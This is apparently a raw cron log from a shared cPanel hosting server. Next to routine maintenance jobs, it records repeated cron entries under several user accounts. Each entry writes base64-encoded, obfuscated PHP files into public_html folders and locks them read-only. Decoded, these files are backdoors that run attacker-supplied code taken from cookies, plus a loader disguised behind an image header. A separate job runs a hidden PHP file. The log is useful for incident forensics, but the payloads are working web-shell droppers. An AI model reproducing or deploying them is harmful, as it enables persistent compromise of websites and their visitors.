Mar  1 09:57:01 medusa CROND[30156]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:57:01 medusa CROND[30158]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:57:01 medusa CROND[30160]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:57:01 medusa CROND[30161]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:57:01 medusa CROND[30159]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:58:01 medusa CROND[19836]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:58:01 medusa CROND[19969]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:58:01 medusa CROND[19977]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:58:01 medusa CROND[19978]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 09:58:01 medusa CROND[19979]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:58:01 medusa CROND[19980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:58:01 medusa CROND[19982]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 09:58:01 medusa CROND[19983]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 09:58:01 medusa CROND[19981]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:58:01 medusa CROND[19984]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:58:01 medusa CROND[19985]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:58:01 medusa CROND[19990]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:58:01 medusa CROND[19992]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:58:01 medusa CROND[19993]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:59:01 medusa CROND[9324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:59:01 medusa CROND[9362]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:59:01 medusa CROND[9363]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:59:01 medusa CROND[9364]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:59:01 medusa CROND[9365]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:59:01 medusa CROND[9366]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
